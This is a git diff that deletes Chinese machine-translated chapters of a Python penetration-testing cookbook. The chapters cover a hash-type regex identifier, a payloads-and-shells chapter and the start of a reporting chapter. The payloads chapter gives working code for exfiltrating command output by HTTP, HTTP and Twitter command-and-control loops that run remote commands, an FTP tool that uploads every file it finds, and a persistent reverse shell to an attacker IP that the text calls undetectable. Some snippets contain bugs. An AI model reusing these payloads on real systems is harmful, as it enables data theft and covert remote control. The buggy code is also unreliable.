Des(UNIX)不太常见。因此,最好能够将散列值与其所属的散列函数相匹配。我们不能完全基于散列长度,因为许多散列函数共享相同的长度,因此为了帮助我们,我们将使用**正则表达式**(**正则表达式**。这允许我们定义长度、使用的字符以及是否存在任何数值。 - -## 准备好了吗 - -对于这个脚本,我们将只使用`re`模块。 - -## 怎么做… - -如前所述,我们将以 Regex 值为基础编写脚本,并使用这些值将输入哈希映射到存储的哈希值。这将允许我们非常快速地为哈希选择潜在的匹配项: - -``` -import re -def hashcheck (hashtype, regexstr, data): - try: - valid_hash = re.finditer(regexstr, data) - result = [match.group(0) for match in valid_hash] - if result: - return "This hash matches the format of: " + hashtype - except: pass -string_to_check = raw_input('Please enter the hash you wish to check: ') -hashes = ( -("Blowfish(Eggdrop)", r"^\+[a-zA-Z0-9\/\.]{12}$"), -("Blowfish(OpenBSD)", r"^\$2a\$[0-9]{0,2}?\$[a-zA-Z0- 9\/\.]{53}$"), -("Blowfish crypt", r"^\$2[axy]{0,1}\$[a-zA-Z0-9./]{8}\$[a-zA-Z0- 9./]{1,}$"), -("DES(Unix)", r"^.{0,2}[a-zA-Z0-9\/\.]{11}$"), -("MD5(Unix)", r"^\$1\$.{0,8}\$[a-zA-Z0-9\/\.]{22}$"), -("MD5(APR)", r"^\$apr1\$.{0,8}\$[a-zA-Z0-9\/\.]{22}$"), -("MD5(MyBB)", r"^[a-fA-F0-9]{32}:[a-z0-9]{8}$"), -("MD5(ZipMonster)", r"^[a-fA-F0-9]{32}$"), -("MD5 crypt", r"^\$1\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"), -("MD5 apache crypt", r"^\$apr1\$[a-zA-Z0-9./]{8}\$[a-zA-Z0- 9./]{1,}$"), -("MD5(Joomla)", r"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{16,32}$"), -("MD5(Wordpress)", r"^\$P\$[a-zA-Z0-9\/\.]{31}$"), -("MD5(phpBB3)", r"^\$H\$[a-zA-Z0-9\/\.]{31}$"), -("MD5(Cisco PIX)", r"^[a-zA-Z0-9\/\.]{16}$"), -("MD5(osCommerce)", r"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{2}$"), -("MD5(Palshop)", r"^[a-fA-F0-9]{51}$"), -("MD5(IP.Board)", r"^[a-fA-F0-9]{32}:.{5}$"), -("MD5(Chap)", r"^[a-fA-F0-9]{32}:[0-9]{32}:[a-fA-F0-9]{2}$"), -("Juniper Netscreen/SSG (ScreenOS)", r"^[a-zA-Z0-9]{30}:[a-zA-Z0- 9]{4,}$"), -("Fortigate (FortiOS)", r"^[a-fA-F0-9]{47}$"), -("Minecraft(Authme)", r"^\$sha\$[a-zA-Z0-9]{0,16}\$[a-fA-F0- 9]{64}$"), -("Lotus Domino", r"^\(?[a-zA-Z0-9\+\/]{20}\)?$"), -("Lineage II C4", r"^0x[a-fA-F0-9]{32}$"), -("CRC-96(ZIP)", r"^[a-fA-F0-9]{24}$"), -("NT crypt", r"^\$3\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"), -("Skein-1024", r"^[a-fA-F0-9]{256}$"), -("RIPEMD-320", r"^[A-Fa-f0-9]{80}$"), -("EPi hash", r"^0x[A-F0-9]{60}$"), -("EPiServer 6.x < v4", r"^\$episerver\$\*0\*[a-zA-Z0-9]{22}==\*[a- zA-Z0-9\+]{27}$"), -("EPiServer 6.x >= v4", r"^\$episerver\$\*1\*[a-zA-Z0- 9]{22}==\*[a-zA-Z0-9]{43}$"), -("Cisco IOS SHA256", r"^[a-zA-Z0-9]{43}$"), -("SHA-1(Django)", r"^sha1\$.{0,32}\$[a-fA-F0-9]{40}$"), -("SHA-1 crypt", r"^\$4\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"), -("SHA-1(Hex)", r"^[a-fA-F0-9]{40}$"), -("SHA-1(LDAP) Base64", r"^\{SHA\}[a-zA-Z0-9+/]{27}=$"), -("SHA-1(LDAP) Base64 + salt", r"^\{SSHA\}[a-zA-Z0- 9+/]{28,}[=]{0,3}$"), -("SHA-512(Drupal)", r"^\$S\$[a-zA-Z0-9\/\.]{52}$"), -("SHA-512 crypt", r"^\$6\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"), -("SHA-256(Django)", r"^sha256\$.{0,32}\$[a-fA-F0-9]{64}$"), -("SHA-256 crypt", r"^\$5\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"), -("SHA-384(Django)", r"^sha384\$.{0,32}\$[a-fA-F0-9]{96}$"), -("SHA-256(Unix)", r"^\$5\$.{0,22}\$[a-zA-Z0-9\/\.]{43,69}$"), -("SHA-512(Unix)", r"^\$6\$.{0,22}\$[a-zA-Z0-9\/\.]{86}$"), -("SHA-384", r"^[a-fA-F0-9]{96}$"), -("SHA-512", r"^[a-fA-F0-9]{128}$"), -("SSHA-1", r"^({SSHA})?[a-zA-Z0-9\+\/]{32,38}?(==)?$"), -("SSHA-1(Base64)", r"^\{SSHA\}[a-zA-Z0-9]{32,38}?(==)?$"), -("SSHA-512(Base64)", r"^\{SSHA512\}[a-zA-Z0-9+]{96}$"), -("Oracle 11g", r"^S:[A-Z0-9]{60}$"), -("SMF >= v1.1", r"^[a-fA-F0-9]{40}:[0-9]{8}&"), -("MySQL 5.x", r"^\*[a-f0-9]{40}$"), -("MySQL 3.x", r"^[a-fA-F0-9]{16}$"), -("OSX v10.7", r"^[a-fA-F0-9]{136}$"), -("OSX v10.8", r"^\$ml\$[a-fA-F0-9$]{199}$"), -("SAM(LM_Hash:NT_Hash)", r"^[a-fA-F0-9]{32}:[a-fA-F0-9]{32}$"), -("MSSQL(2000)", r"^0x0100[a-f0-9]{0,8}?[a-f0-9]{80}$"), -("MSSQL(2005)", r"^0x0100[a-f0-9]{0,8}?[a-f0-9]{40}$"), -("MSSQL(2012)", r"^0x02[a-f0-9]{0,10}?[a-f0-9]{128}$"), -("TIGER-160(HMAC)", r"^[a-f0-9]{40}$"), -("SHA-256", r"^[a-fA-F0-9]{64}$"), -("SHA-1(Oracle)", r"^[a-fA-F0-9]{48}$"), -("SHA-224", r"^[a-fA-F0-9]{56}$"), -("Adler32", r"^[a-f0-9]{8}$"), -("CRC-16-CCITT", r"^[a-fA-F0-9]{4}$"), -("NTLM)", r"^[0-9A-Fa-f]{32}$"), -) -counter = 0 -for h in hashes: - text = hashcheck(h[0], h[1], string_to_check) - if text is not None: - counter += 1 - print text -if counter == 0: - print "Your input hash did not match anything, sorry!" -``` - -## 它是如何工作的… - -在我们导入将要使用的模块`re`之后,我们开始构建我们的第一块代码,这将是我们脚本的核心。我们将尝试在整个脚本中使用常规命名,以使其更易于管理。我们之所以选择`hashcheck`这个名字就是因为这个原因。我们使用名称`hashtype`来表示代码 Regex 块中即将出现的哈希的名称,我们使用`regexstr`来表示 Regex,最后使用数据。 - -我们创建一个名为`valid_hash`的字符串,并在遍历数据后给出迭代值的值,这只有在我们有有效匹配时才会发生。这可以进一步看到,我们给值结果提供了使用正则表达式检测到的匹配哈希值的名称。如果找到一个或多个匹配项,我们最终打印匹配项,并在末尾添加我们的`except`语句: - -``` -def hashcheck (hashtype, regexstr, data): - try: - valid_hash = re.finditer(regexstr, data) - result = [match.group(0) for match in valid_hash] - if result: - return "This hash matches the format of: " + hashtype - except: pass -``` - -然后我们要求用户输入,这样我们就有了与正则表达式匹配的内容。这是正常的: - -``` -string_to_check = raw_input('Please enter the hash you wish to check: ') -``` - -一旦完成了,我们就可以进入实质性的正则表达式 fu 了。我们使用正则表达式的原因是,我们可以区分不同的散列,因为它们具有不同的长度和字符集。这对 MD5 哈希非常有帮助,因为有许多不同类型的 MD5 哈希,如 phpBB3 和 MyBB 论坛。 - -我们将正则表达式集命名为类似哈希的逻辑名称,然后定义它们: - -``` -hashes = ( -("Blowfish(Eggdrop)", r"^\+[a-zA-Z0-9\/\.]{12}$"), -("Blowfish(OpenBSD)", r"^\$2a\$[0-9]{0,2}?\$[a-zA-Z0- 9\/\.]{53}$"), -("Blowfish crypt", r"^\$2[axy]{0,1}\$[a-zA-Z0-9./]{8}\$[a-zA-Z0- 9./]{1,}$"), -("DES(Unix)", r"^.{0,2}[a-zA-Z0-9\/\.]{11}$"), -("MD5(Unix)", r"^\$1\$.{0,8}\$[a-zA-Z0-9\/\.]{22}$"), -("MD5(APR)", r"^\$apr1\$.{0,8}\$[a-zA-Z0-9\/\.]{22}$"), -("MD5(MyBB)", r"^[a-fA-F0-9]{32}:[a-z0-9]{8}$"), -("MD5(ZipMonster)", r"^[a-fA-F0-9]{32}$"), -("MD5 crypt", r"^\$1\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"), -("MD5 apache crypt", r"^\$apr1\$[a-zA-Z0-9./]{8}\$[a-zA-Z0- 9./]{1,}$"), -("MD5(Joomla)", r"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{16,32}$"), -("MD5(Wordpress)", r"^\$P\$[a-zA-Z0-9\/\.]{31}$"), -("MD5(phpBB3)", r"^\$H\$[a-zA-Z0-9\/\.]{31}$"), -("MD5(Cisco PIX)", r"^[a-zA-Z0-9\/\.]{16}$"), -("MD5(osCommerce)", r"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{2}$"), -("MD5(Palshop)", r"^[a-fA-F0-9]{51}$"), -("MD5(IP.Board)", r"^[a-fA-F0-9]{32}:.{5}$"), -("MD5(Chap)", r"^[a-fA-F0-9]{32}:[0-9]{32}:[a-fA-F0-9]{2}$"), -[...cut out...] -("NTLM)", r"^[0-9A-Fa-f]{32}$"), -) -``` - -然后,我们需要找到一种方法,以可管理的方式将数据返回给用户,而不必在每次发现不匹配项时让他们知道。我们通过创建一个计数器来实现这一点。我们将此计数器的值设置为`0`并继续。然后,我们创建一个名为`text`的函数,如果找到匹配项,它将成为散列名称的值。然后使用`if`语句来防止我们前面提到的不需要的消息。我们告诉脚本如果`text is not none`找到了匹配项,那么我们提高计数器的值并打印文本。使用计数器理念意味着发现的任何不匹配项都不会增加计数器,因此不会打印给用户: - -``` -counter = 0 -for h in hashes: - text = hashcheck(h[0], h[1], string_to_check) - if text is not None: - counter += 1 - print text -``` - -我们以尽可能礼貌的方式让用户知道是否没有匹配项来完成脚本! - -``` -if counter == 0: - print "Your input hash did not match anything, sorry!" -``` - -下面是一些正在运行的脚本示例: - -``` -Please enter the hash you wish to check: ok -No Matches - -``` - -前面的结果没有找到匹配项,因为没有列出输出两个字符串的哈希系统。以下是成功查找的示例: - -``` -Please enter the hash you wish to check: fd7a4c43ad7c20dbea0dc6dacc12ef6c36c2c382a0111c92f24244690eba65a2 -This hash matches the format of: SHA-256 - -``` \ No newline at end of file diff --git a/trans/py-pentest-dev/25.md b/trans/py-pentest-dev/25.md deleted file mode 100644 index 435ea80..0000000 --- a/trans/py-pentest-dev/25.md +++ /dev/null @@ -1,601 +0,0 @@ -# 第 8 章有效载荷和炮弹 - -在本章中,我们将介绍以下主题: - -* 通过 HTTP 请求提取数据 -* 创建 HTTP C2 -* 创建 FTP C2 -* 创建 Twitter C2 -* 创建一个简单的 Netcat shell - -# 导言 - -在本章中,我们将介绍如何在 Python 中创建反向 shell 和有效负载。一旦在 Linux 或 Mac 系统上发现上传漏洞,Python 有效负载将处于下一步的最佳位置。它们很容易制作或定制,以匹配特定的系统,具有明确的功能,最重要的是,几乎所有 Mac 和 Linux 系统默认都带有 Python2.7。 - -# 通过 HTTP 请求提取数据 - -我们将要创建的第一个脚本将使用一种非常简单的技术从目标服务器提取数据。有三个基本步骤:在目标上运行命令,通过 HTTP 请求将输出传输给攻击者,并查看结果。 - -## 准备好了吗 - -此配方需要攻击者可以访问的 web 服务器,以便接收来自目标的 HTTP 请求。幸运的是,Python 有一种非常简单的启动 web 服务器的方法: - -``` -$ Python –m SimpleHTTPServer - -``` - -这将在端口`8000`上启动 HTTP web 服务器,提供当前目录中的所有文件。它接收到的任何请求都直接打印到控制台,这使它成为获取数据的一种非常快速的方法,因此是对该脚本的一个很好的补充。 - -## 怎么做… - -这是将在服务器上运行各种命令并通过 web 请求传输输出的脚本: - -``` -import requests -import urllib -import subprocess -from subprocess import PIPE, STDOUT - -commands = ['whoami','hostname','uname'] -out = {} - -for command in commands: - try: - p = subprocess.Popen(command, stderr=STDOUT, stdout=PIPE) - out[command] = p.stdout.read().strip() - except: - pass - -requests.get('http://localhost:8000/index.html?' + urllib.urlencode(out)) -``` - -## 它是如何工作的… - -导入后,脚本的第一部分将创建一个命令数组: - -``` -commands = ['whoami','hostname','uname'] -``` - -这是三个标准 Linux 命令的示例,这些命令可以将有用的信息反馈给攻击者。注意,这里假设目标服务器正在运行 Linux。使用前几章中的脚本进行侦察,以确定目标的操作系统,并在必要时将此阵列中的命令替换为 Windows 等效命令。 - -接下来,我们有主`for`循环: - -``` - p = subprocess.Popen(command, stderr=STDOUT, stdout=PIPE) - out[command] = p.stdout.read().strip() -``` - -这部分代码执行命令并获取来自`subprocess`的输出(将标准输出和标准错误都传输到单个`subprocess.PIPE`)。然后将结果添加到 out 字典中。请注意,我们在这里使用了一个`try`和`except`语句,因为任何无法运行的命令都会导致异常。 - -最后,我们有一个 HTTP 请求: - -``` -requests.get('http://localhost:8000/index.html?' + urllib.urlencode(out)) -``` - -此使用`urllib.encode`将字典转换为 URL 编码的键/值对。这意味着可能影响 URL 的任何字符,例如,`&`或`=`,将转换为其 URL 编码的等效字符,例如,`%26`和`%3D`。 - -注意,脚本端将没有输出;所有内容都在 HTTP 请求中传递给攻击者的 web 服务器(示例使用端口`8000`上的 localhost)。`GET`请求如下所示: - -![How it works…](graphics/B04044_08_01.jpg) - -# 创建 HTTP C2 - -公然在 URL 中显示您的命令的问题是,即使是半睡半醒的日志分析师也会发现它。有多种隐藏请求的方法,但是当您不知道响应文本是什么样子时,您需要提供一种隐藏输出并将其返回到服务器的可靠方法。 - -我们将创建一个脚本,该脚本将命令和控制活动屏蔽为 HTTP 流量,从网页上的注释中获取命令,并将输出返回到留言簿中。 - -## 开始 - -为此,您将需要一个功能正常的 web 服务器,它有两个页面,一个用来存放您的评论,另一个用来存放您的检索页面。 - -您的评论页面应该只有标准内容。为此,我使用 Nginx 默认主页,并在最后添加注释。评论应表述为: - -``` - -``` - -检索页面可以简单到: - -``` - -``` - -基本上,这个 PHP 所做的就是在名为`comment`的`POST`请求中获取一个传入值,并将其放入数据库中。这是非常基本的,如果有多个 shell,它不会区分多个传入命令。 - -## 怎么做… - -我们将使用的脚本如下所示: - -``` -import requests -import re -import subprocess -import time -import os - -while 1: - req = requests.get("http://127.0.0.1") - comments = re.findall('',req.text) - for comment in comments: - if comment = " ": - os.delete(__file__) - else: - try: - response = subprocess.check_output(comment.split()) - except: - response = "command fail" - data={"comment":(''.join(response)).encode("base64")} - newreq = requests.post("http://notmalicious.com/c2.php", data=data) - time.sleep(30) -``` - -下面显示了使用此脚本时生成的输出示例: - -``` -Name: TGludXggY2FtLWxhcHRvcCAzLjEzLjAtNDYtZ2VuZXJpYyAjNzktVWJ1bnR1IFNNU CBUdWUgTWFyIDEwIDIwOjA2OjUwIFVUQyAyMDE1IHg4Nl82NCB4ODZfNjQgeDg2X zY0IEdOVS9MaW51eAo= Comment: -Name: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFl bW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9i aW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jp bi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5 bmM6L2JpbjovYmluL3N5bmMKZ Comment: -``` - -## 它是如何工作的… - -一如既往,我们导入必要的库并启动脚本: - -``` -import requests -import re -import subprocess -import time -import os -``` - -由于此脚本具有内置的自删除方法,我们可以通过以下循环将其设置为永远运行: - -``` -while 1: -``` - -我们请求检查预配置页面上是否有任何评论。如果有的话,我们会把它们列在一个列表中。我们使用非常基本的`regex`来执行此检查: - -``` - req = requests.get("http://127.0.0.1") - comments = re.findall('',req.text) -``` - -我们要做的第一件事是检查是否有空评论。这对脚本来说意味着它应该删除自己,这是一种非常重要的不干涉 C2 脚本的机制。如果希望脚本删除自身,只需在页面上留下一条空注释。脚本通过查找自己的名称并删除该名称来删除自身: - -``` -for comment in comments: - if comment = " ": - os.delete(__file__) -``` - -如果注释不是空的,我们将尝试使用`subprocess`命令将其传递给系统。重要的是你要使用。`split()`在命令上说明`subprocess`如何处理多部分命令。我们使用`.check_output`将命令直接给出的任何输出返回给我们指定的变量: - -``` -else: - try: - response = subprocess.check_output(comment.split()) -``` - -如果命令失败,我们将响应值设置为`command failed`: - -``` - except: - response = "command fail" -``` - -我们获取这个`response`变量,并将其分配给一个与字典中的 PHP 脚本相匹配的键。在这种情况下,字段名为`comment`,因此我们将输出分配给注释。我们以输出为基础,以考虑任何随机变量,例如可能干扰脚本的空格或代码: - -``` -data={"comment":(''.join(response)).encode("base64")} -``` - -现在已经分配了数据,我们以`POST`请求将其发送到预配置的服务器,并等待`30`秒再次检查注释中的进一步说明: - -``` -newreq = requests.post("http://127.0.0.1/addguestbook.php", data=data) - time.sleep(30) -``` - -# 创建 FTP C2 - -这个脚本是一个快速而肮脏的文件盗窃工具。它沿着目录直线运行,捕捉它接触到的所有东西。然后将它们导出到指向的`FTP`目录。在可以删除文件并希望快速获取服务器内容的情况下,这是理想的起点。 - -我们将创建一个连接到 FTP 的脚本,获取当前目录中的文件,并将它们导出到 FTP。然后跳转到下一个目录并重复。当它遇到两个相同的目录列表时(即,它已到达根目录),它将停止。 - -## 开始 - -为此,您需要一个运行正常的 FTP 服务器。我用的是`vsftpd`,但你可以随意使用。您需要将凭据硬编码到脚本中(不建议这样做),或者将凭据作为标志发送。 - -## 怎么做… - -我们将使用的脚本如下所示: - -``` -from ftplib import FTP -import time -import os - -user = sys.argv[1] -pw = sys.argv[2] - -ftp = FTP("127.0.0.1", user, pw) - -filescheck = "aa" - -loop = 0 -up = "../" - -while 1: - files = os.listdir("./"+(i*up)) - print files - - for f in files: - try: - fiile = open(f, 'rb') - ftp.storbinary('STOR ftpfiles/00'+str(f), fiile) - fiile.close() - else: - pass - - if filescheck == files: - break - else: - filescheck = files - loop = loop+1 - time.sleep(10) -ftp.close() -``` - -## 它是如何工作的… - -一如既往,我们导入库并设置变量。我们已将用户名和密码设置为`sys.argv`,以避免硬编码,从而暴露我们的系统: - -``` -from ftplib import FTP -import time -import os - -user = sys.argv[1] -pw = sys.argv[2] -``` - -然后,我们使用 IP 地址和通过标志设置的凭据连接到 FTP。您也可以将 IP 作为`sys.argv`传递,以避免硬编码: - -``` -ftp = FTP("127.0.0.1", user, pw) -``` - -我为目录检查方法设置了一个与第一个目录不匹配的 nonce 值。我们还将循环设置为`0`,并将“up directory”命令配置为变量,类似于[第 3 章](20.html "Chapter 3. Vulnerability Identification")、*漏洞识别*中的目录遍历脚本: - -``` -filescheck = "aa" - -loop = 0 -up = "../" -``` - -然后我们创建我们的主循环以永远重复,并创建我们选择的目录调用。我们在调用的目录中列出文件,并为其分配一个变量。如果愿意,您可以选择在此处打印文件列表,就像我出于诊断目的所做的那样,但这没有什么区别: - -``` -while 1: - files = os.listdir("./"+(i*up)) - print files -``` - -对于在目录中检测到的每个文件,我们将尝试打开它。我们使用`rb`打开文件很重要,因为这样可以将其作为二进制文件读取,从而可以作为二进制文件传输。如果它是可打开的,我们使用`storbinary`命令将其传输到 FTP。然后,我们关闭文件以完成交易: - -``` - try: - fiile = open(f, 'rb') - ftp.storbinary('STOR ftpfiles/00'+str(f), fiile) - fiile.close() -``` - -如果出于任何原因,我们无法打开或传输文件,我们只需转到列表中的下一个: - -``` - else: - pass -``` - -然后检查自上一个命令以来是否更改了目录。如果没有,我们将中断主循环: - -``` -if filescheck == files: - break -``` - -如果目录列表不匹配,我们将`filecheck`变量设置为与当前目录匹配,通过`1`迭代循环,并休眠`10`秒,以避免滥发服务器: - -``` -else: - filescheck = files - loop = loop+1 - time.sleep(10) -``` - -最后,完成所有其他操作后,我们将关闭与 FTP 服务器的连接: - -``` -ftp.close() -``` - -# 创建推特 C2 - -直到某一点,在互联网上请求随机页面是可以通过的,但一旦**安全运营中心**(**SOC**)分析师仔细查看正在消失的所有数据,很明显,这些请求将发送到一个不可靠的站点,因此可能与恶意流量有关。幸运的是,社交媒体在这方面起到了帮助作用,并允许我们将数据隐藏在显而易见的地方。 - -我们将创建一个脚本,用于连接到 Twitter、读取推文、基于这些推文执行命令、加密响应数据并将其发布到 Twitter。我们还将制作一个解码脚本。 - -## 开始 - -为此,您需要一个具有 API 密钥的 Twitter 帐户。 - -## 怎么做… - -我们将使用的脚本如下所示: - -``` -from twitter import * -import os -from Crypto.Cipher import ARC4 -import subprocess -import time - -token = '' -token_key = '' -con_secret = '' -con_secret_key = '' -t = Twitter(auth=OAuth(token, token_key, con_secret, con_secret_key)) - -while 1: - user = t.statuses.user_timeline() - command = user[0]["text"].encode('utf-8') - key = user[1]["text"].encode('hex') - enc = ARC4.new(key) - response = subprocess.check_output(command.split()) - - enres = enc.encrypt(response).encode("base64") - - for i in xrange(0, len(enres), 140): - t.statuses.update(status=enres[i:i+140]) - time.sleep(3600) -``` - -解码脚本如下所示: - -``` -from Crypto.Cipher import ARC4 -key = "".encode("hex") -response = "" -enc = ARC4.new(key) -response = response.decode("base64") -print enc.decrypt(response) -``` - -正在进行的脚本的示例如下所示: - -![How to do it…](graphics/B04044_08_02.jpg) - -## 它是如何工作的… - -我们照常导入我们的库。有许多 Twitter Python 库;我只是在使用[上提供的标准 twitter APIhttps://code.google.com/p/python-twitter/](https://code.google.com/p/python-twitter/) 。代码如下: - -``` -from twitter import * -import os -from Crypto.Cipher import ARC4 -import subprocess -import time -``` - -为了满足 Twitter 认证要求,我们需要从[developer.Twitter.com](http://developer.twitter.com)的**应用页面**中检索**应用令牌**、**应用秘密**、**用户令牌**和**用户秘密**。我们将其分配给变量,并设置与 Twitter API 的连接: - -``` -token = '' -token_key = '' -con_secret = '' -con_secret_key = '' -t = Twitter(auth=OAuth(token, token_key, con_secret, con_secret_key)) -``` - -我们设置了一个无限循环: - -``` -while 1: -``` - -我们调用已设置帐户的用户时间表。重要的是,此应用程序对 Twitter 帐户具有读写权限。然后,我们获取最近一条推文的最后一条文本。我们需要将其编码为 UTF-8,因为通常存在常规编码无法处理的字符: - -``` -user = t.statuses.user_timeline() -command = user[0]["text"].encode('utf-8') -``` - -然后,我们使用 oxt 最后一条 tweet 作为加密密钥。我们将其编码为`hex`,以避免出现空间与空间匹配的情况: - -``` -key = user[1]["text"].encode('hex') -enc = ARC4.new(key) -``` - -我们使用`subprocess`函数执行该操作。我们使用预设的向上 XORing 加密对输出进行加密,并将其编码为 base64: - -``` -response = subprocess.check_output(command.split()) -enres = enc.encrypt(response).encode("base64") -``` - -我们将加密和编码的响应分成 140 个字符的块,以允许 Twitter 字符上限。对于每个区块,我们创建一个 Twitter 状态: - -``` -for i in xrange(0, len(enres), 140): - t.statuses.update(status=enres[i:i+140]) -``` - -因为每一步都需要两条 tweet,所以我在每次命令检查之间留出了一个小时的间隔,但您自己很容易改变这一点: - -``` -time.sleep(3600) -``` - -对于解码,导入`RC4`库,将您的 key tweet 设置为 key,将重新组装的 base64 作为响应: - -``` -from Crypto.Cipher import ARC4 -key = "".encode("hex") -response = "" -``` - -使用密钥设置新的`RC4`代码,解码 base64 中的数据,并使用密钥解密: - -``` -enc = ARC4.new(key) -response = response.decode("base64") -print enc.decrypt(response) -``` - -# 创建一个简单的 Netcat 外壳 - -下面我们要创建的脚本利用原始套接字从网络中过滤数据。此 shell 的总体思想是通过 Netcat(或其他程序)会话在受损机器和您自己的机器之间创建连接,并以这种方式向机器发送命令。 - -这个 Python 脚本的美妙之处在于它的不可检测性,因为它看起来是一个完全合法的脚本。 - -## 怎么做… - -这是将通过 Netcat 建立连接并读取输入的脚本: - -``` -import socket -import subprocess -import sys -import time - -HOST = '172.16.0.2' # Your attacking machine to connect back to -PORT = 4444 # The port your attacking machine is listening on - -def connect((host, port)): - go = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - go.connect((host, port)) - return go - -def wait(go): - data = go.recv(1024) - if data == "exit\n": - go.close() - sys.exit(0) - elif len(data)==0: - return True - else: - p = subprocess.Popen(data, shell=True, - stdout=subprocess.PIPE, stderr=subprocess.PIPE, - stdin=subprocess.PIPE) - stdout = p.stdout.read() + p.stderr.read() - go.send(stdout) - return False - -def main(): - while True: - dead=False - try: - go=connect((HOST,PORT)) - while not dead: - dead=wait(go) - go.close() - except socket.error: - pass - time.sleep(2) - -if __name__ == "__main__": - sys.exit(main()) -``` - -## 它是如何工作的… - -要正常启动脚本,我们需要导入将在整个脚本中使用的模块: - -``` -import socket -import subprocess -import sys -import time -``` - -然后我们需要定义我们的变量:这些值是攻击机器的 IP 和端口,用于建立与以下设备的连接: - -``` -HOST = '172.16.0.2' # Your attacking machine to connect back to -PORT = 4444 # The port your attacking machine is listening on -``` - -然后我们继续定义原始连接;然后,我们可以将一个值分配给已建立的值,稍后再参考该值来读取输入并发送标准输出。 - -我们返回到之前设置并创建连接的主机和端口值。我们将已建立的连接的值指定为`go`: - -``` -def connect((host, port)): - go = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - go.connect((host, port)) - return go -``` - -然后我们可以引入代码块,为我们完成等待部分。这将等待通过攻击机器的 Netcat 会话向其发送命令。我们确保通过会话发送的数据通过管道传输到 shell 中,然后通过已建立的 Netcat 会话将其标准输出返回给我们,从而通过反向连接让我们能够访问 shell。 - -我们将名称数据指定给通过 Netcat 会话传递给受损机器的值。向脚本添加值,以在用户完成时退出会话;我们为此选择了`exit`,这意味着进入 Netcat 会话的退出将终止已建立的连接。然后,我们深入到数据被打开(读取)并通过管道传输到外壳中的基本部分。完成后,我们将确保读取`stdout`值并给出`stdout`值(可以是任何值),然后通过之前建立的`go`会话将其发送回我们自己。代码如下: - -``` -def wait(go): - data = go.recv(1024) - if data == "exit\n": - go.close() - sys.exit(0) - elif len(data)==0: - return True - else: - p = subprocess.Popen(data, shell=True, - stdout=subprocess.PIPE, stderr=subprocess.PIPE, - stdin=subprocess.PIPE) - stdout = p.stdout.read() + p.stderr.read() - go.send(stdout) - return False -``` - -脚本的最后一部分是错误检查和运行部分。在脚本运行之前,我们确保让 Python 知道我们有一种机制,可以通过使用前面的 true 语句检查会话是否处于活动状态。如果连接丢失,Python 脚本将尝试重新建立与攻击机器的连接,使其成为持久后门: - -``` -def main(): - while True: - dead=False - try: - go=connect((HOST,PORT)) - while not dead: - dead=wait(go) - go.close() - except socket.error: - pass - time.sleep(2) - -if __name__ == "__main__": - sys.exit(main()) -``` \ No newline at end of file diff --git a/trans/py-pentest-dev/26.md b/trans/py-pentest-dev/26.md deleted file mode 100644 index 49b8a11..0000000 --- a/trans/py-pentest-dev/26.md +++ /dev/null @@ -1,525 +0,0 @@ -# 第 9 章报告 - -在本章中,我们将介绍以下主题: - -* 将 Nmap XML 转换为 CSV -* 从 URL 中提取链接到 -* 将电子邮件提取到 Maltego -* 将 Sslscan 解析为 CSV -* 使用`plot.ly`生成图形 - -# 导言 - -我们在本模块中提供了执行 web 应用程序测试各个方面的方法。所以,我们得到了所有这些信息。我们已经从我们的食谱中获得了控制台输出,但是我们如何将所有这些收集成有用的格式呢?理想情况下,我们希望输出的格式可以使用。或者,我们可能希望将另一个应用程序(如 Nmap)的输出转换为我们正在使用的格式。它可以是**逗号分隔变量**(**CSV**),也可以是 Maltego 转换,或者您想要使用的任何其他格式。 - -你刚才提到的这件事是什么?我听到你问。Maltego 是一款**开源智能****OSIT**和取证应用软件。它有一个漂亮的 GUI,可以帮助您以一种漂亮、容易理解的方式可视化信息。 - -# 将 Nmap XML 转换为 CSV - -Nmap 是在 web 应用程序测试的侦察阶段使用的通用工具。它通常用于扫描具有多种选项的端口,以帮助您根据自己的喜好定制扫描。例如,您想使用 TCP 还是 UDP?您要设置什么 TCP 标志?是否有您想要运行的特定 Nmap 脚本,例如检查**网络时间协议**(**NTP**)反射,但要在非默认端口上运行?这个清单可能是无穷无尽的。 - -Nmap 输出易于阅读,但不易于以编程方式使用。这个简单的方法将从 Nmap 转换 XML 输出(通过运行 Nmap 扫描时使用–oX 标志),并将其转换为 CSV 输出。 - -## 准备好了吗 - -虽然这个配方的实现非常简单,但您需要安装 Python 的`nmap`模块。您可以使用`pip`或从源文件构建它。您还需要 Nmap 扫描的 XML 输出。您可以通过扫描您选择的易受攻击的虚拟机或您有权在其上运行扫描的站点来实现此目的。您可以按原样使用 Nmap,也可以在 Python 脚本中使用 Python 的`nmap`模块来实现这一点。 - -## 怎么做… - -就像我前面提到的,这个食谱很简单。这主要是因为`nmap`图书馆为我们做了大部分艰苦的工作。 - -下面是我们将用于此任务的脚本: - -``` -import sys -import os -import nmap - -nm=nmap.Portscanner() -with open(“./nmap_output.xml”, “r”) as fd: - content = fd.read() - nm.analyse_nmap_xml_scan(content) - print(nm.csv()) -``` - -## 它是如何工作的… - -因此,在导入必要的模块之后,我们必须初始化 Nmap 的`Portscanner`函数。虽然我们不会在此配方中进行任何端口扫描,但这是允许我们使用对象中的方法所必需的: - -``` -nm=nmap.Portscanner() -``` - -然后,我们有一个`with`声明。那是什么?以前,当您在 Python 中打开文件时,必须记住在完成后关闭它。在这种情况下,`with`语句将在执行完其中的所有代码后为您执行此操作。如果您没有很好的内存,并且总是忘记关闭代码中的文件,那就太好了: - -``` -with open(“./nmap_output.xml”, “r”) as fd: -``` - 